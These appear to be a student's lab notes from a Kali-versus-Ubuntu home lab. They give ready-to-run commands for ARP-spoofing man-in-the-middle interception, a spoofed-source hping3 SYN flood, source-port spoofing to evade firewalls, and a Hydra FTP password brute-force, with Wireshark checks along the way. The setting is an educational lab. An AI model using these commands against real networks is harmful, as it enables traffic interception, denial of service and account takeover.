Arp spoofing

Setup kali and ubuntu

Notedown ip address of both

Run this to get gateway ip and victim ip

sudo apt install arp-scan -y

sudo arp-scan --interface=eth0 –localnet

This keeps the Ubuntu victim online while you're in the middle.

echo 1 | sudo tee /proc/sys/net/ipv4/ip\_forward

on kali :

sudo apt install dsniff -y

for gateway ip

ip route

sudo arpspoof -i eth0 -t targetip

Terminal 1: Tell Victim you're the Gateway

sudo arpspoof -i eth0 -t ubuntu\_ip gateway ip

**Terminal 2: Tell Gateway you're the Victim**

sudo arpspoof -i eth0 -t gateway\_ip ubuntu\_ip

sudo wireshark

go above and apply filter : ip.addr == ubuntu ip

in ubuntu : ping google.com

wireshark :

| **Column** | **Meaning** |
| --- | --- |
| No. | Packet number in the capture session |
| Time | Time (in seconds) since capture began |
| Source | IP address that sent the packet |
| Destination | IP address that received the packet |
| Protocol | Protocol used (here it’s ICMP – used for ping) |
| Length | Packet length in bytes (98 in all your ICMP packets) |
| Info | Description of the ICMP message (ping request or reply) |

 192.168.146.130 → Your **Ubuntu victim**

 142.250.71.36 → A **Google server** (probably from pinging google.com)

 Your **victim machine sent a ping** to Google (1244)

 **Google replied** with a response (1243)

 These are perfectly paired request/reply ICMP packets

Since you’re running ARP spoofing from Kali, seeing these packets on Wireshark **means:**

* You’ve successfully placed yourself in the **middle** of the communication
* You can **see** the victim’s ping to Google and the replies coming back
* **MITM is working** 🔥

You’re doing this right now using **ARP spoofing** — tricking the victim and the router into sending all their traffic through your **Kali machine**.

So now:

* Victim sends a packet to the gateway → it goes to **Kali**
* Gateway replies to victim → it goes through **Kali**

You are in the **middle** of every message.

--------------------------------------------------------------------------------------------------------------------------------------

Ip spoofing

IP spoofing is the creation of Internet Protocol (IP) packets which have a modified source address in

order to either hide the identity of the sender, to impersonate another computer system, or both. It is a technique often used by bad actors to invoke DDoS attacks against a target device or the

surrounding infrastructure.

| **Feature** | **ARP Spoofing** | **IP Spoofing** |
| --- | --- | --- |
| Targets | LAN / Local network | Any network (LAN or internet) |
| Goal | MITM (intercept) | Impersonate another machine |
| Protocol Spoofed | ARP (Layer 2) | IP Header (Layer 3) |
| Responses back? | Yes (you see replies) | No (spoofed IP doesn’t get replies) |

You send a fake packet **pretending to be someone else**, but replies go to the **real IP**, not you. That’s why IP spoofing isn't typically used for MITM.

 Kali **sends a ping** to 192.168.146.130 (Ubuntu)

 The ping **claims to be from** 192.168.146.200 (spoofed)

 Victim sees a ping **from 192.168.146.200**

 Victim **replies to 192.168.146.200**, not to Kali

hping3 --flood -p 80 192.168.1.102 -S –spoof spoofed\_ip

sudo apt install hexedit

hexedit file name

port spoofing

**Port spoofing** usually refers to **sending packets with a fake source port** (or targeting specific destination ports) to:

* Bypass firewalls
* Confuse intrusion detection systems
* Simulate trusted services (e.g. DNS, HTTP)
* Evade filters or logs

Pretend you're sending **from port 53 (DNS)** (some firewalls trust DNS).

| **Flag** | **Description** |
| --- | --- |
| -S | Send SYN packet (TCP handshake start) |
| -p 80 | Destination port (web service) |
| --baseport 53 | Spoof **source port** as 53 |
| 192.168.146.130 | Victim IP |

**sudo hping3 -S -p 80 --baseport 53 192.168.146.130**

sudo apt install wireshark -y

sudo usermod -aG wireshark $USER

logout and restart

hydra

hydra -l divyesh -P '/home/divyesh/Desktop/message.txt' <ftp://192.168.146.129>